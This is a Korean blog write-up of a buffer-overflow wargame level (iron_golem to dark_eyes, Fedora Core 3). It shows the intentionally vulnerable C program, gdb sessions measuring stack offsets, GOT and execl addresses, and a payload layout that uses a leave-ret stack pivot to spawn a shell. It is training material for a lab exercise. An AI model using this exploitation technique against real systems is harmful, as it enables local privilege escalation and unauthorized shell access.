둘둘리둘둘리둘둘리둘둘리둘둘리둘
[Fedora Core 3] iron_golem -> dark_eyes 본문
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_eyes
- Local BOF on Fedora Core 3
- hint : RET sleding
*/
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
if(argc < 2){
printf("argv error\n");
exit(0);
}
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, argv[1]);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
printf("%s\n", buffer);
}
sfp값을 저장해놨다가 strcpy후에 다시 sfp를 복구시킨다.
그렇다면 iron_golem풀때 썼던방법을 약간 변형해서 문제를 풀어보자.
main의 sfp를 조작할 수 없으니 main을 호출한 __libc_start_main의 SFP와 RET주소를 iron_golem문제와 같은 방식으로 덮어씌우고
main의 ret주소를 leave-ret의 주소로 조작하면 __libc_start_main의 스텍 프레임에서 iron_golem 해답과 같은 동작을 하게 될것이다 .. 그러니까 요약하자면 leave-ret을 이용하여 메인의 스텍프레임이 아니라 한프레임 높은 스텍 프레임을 사용하는것
low address
buffer |
SFP(수정불가) |
RET |
???? |
SFP |
RET |
그럼 공격을 위해 알아야할것은 buffer+dummy의 크기와 위 그림에서 ????의 크기 그리고 leave-ret의 주소, 변하지않는 값을 가진 주소를 가리키고있는 주소, execl+3의 주소가 되겠다.
buffer+dummy의 크기, ????의 크기
(gdb) b *main+177
Breakpoint 2 at 0x80484b9
(gdb) r DDDDDDDD
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/iron_golem/dark_eye1 DDDDDDDD
(no debugging symbols found)...(no debugging symbols found)...DDDDDDDD
Breakpoint 1, 0x080484b8 in main ()
(gdb) x $esp
0xfee6cc10: 0x08048234
(gdb) x/24 $esp
0xfee6cc10: 0x08048234 0x00719744 0x00718fb4 0x00719e70
0xfee6cc20: 0x00000000 0xfee6cc74 0x0070b423 0xfee6cd98
0xfee6cc30: 0x44444444 0x44444444 0x00000000 0x00000000
0xfee6cc40: 0x00000000 0x0072cad0 0x007279b8 0x0071f338
0xfee6cc50: 0x00719b88 0x00000003 0x00719e40 0x00719e70
0xfee6cc60: 0x0177ff8e 0x08048267 0x00718fb4 0x007196a4
(gdb) x $ebp
0xfee6cd38: 0xfee6cd98
buffer + dummy 의 크기 : 0xfee6cd38 - 0xfee6cc30 = 0x108(264)
????의 크기 : 0xfee6cd(SFP) - 0xfee6cd38 - ret들어갈 자리 - sfp들어갈 자리 = 0x58(88)
[iron_golem@Fedora_1stFloor ~]$ readelf -S ./dark_eye1 | grep got
[20] .got PROGBITS 0804968c 00068c 000004 04 WA 0 0 4
[21] .got.plt PROGBITS 08049690 000690 000020 04 WA 0 0 4
[iron_golem@Fedora_1stFloor ~]$ gdb ./dark_eye1 -q
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) x *0x08049690
0x80495c4 <_DYNAMIC>: 0x00000001
(gdb) disassemble execl
Dump of assembler code for function execl:
0x007a5720 <execl+0>: push %ebp
0x007a5721 <execl+1>: mov %esp,%ebp
0x007a5723 <execl+3>: lea 0x10(%ebp),%ecx
0x007a5726 <execl+6>: push %edi
fake ebp : 0x08049690 - 8 = 0x08049688
execl+3 : 0x007a5723
leave-ret : 0x080484b8
그럼 이제 쉘을 띄워줄 0x01이란 이름의 실행 파일을 준비하고 아래와 같은 페이로드를 구성하면 되겠다.
[ 더미(268) | leave-ret | 더미(88) | fake ebp | execl+3 ]
--풀이--
'War game > 해커 스쿨 FC3' 카테고리의 다른 글
[ Fedora Core 3 ] dark_stone -> Clear !! (0) | 2015.08.23 |
---|---|
[ Fedora Core 3] hell_fire -> evil_wizard (0) | 2015.08.23 |
[ Fedora Core 3] dark_eyes -> hell_fire (0) | 2015.08.23 |
[Fedora Core 3] gate -> iron_golem (0) | 2015.08.22 |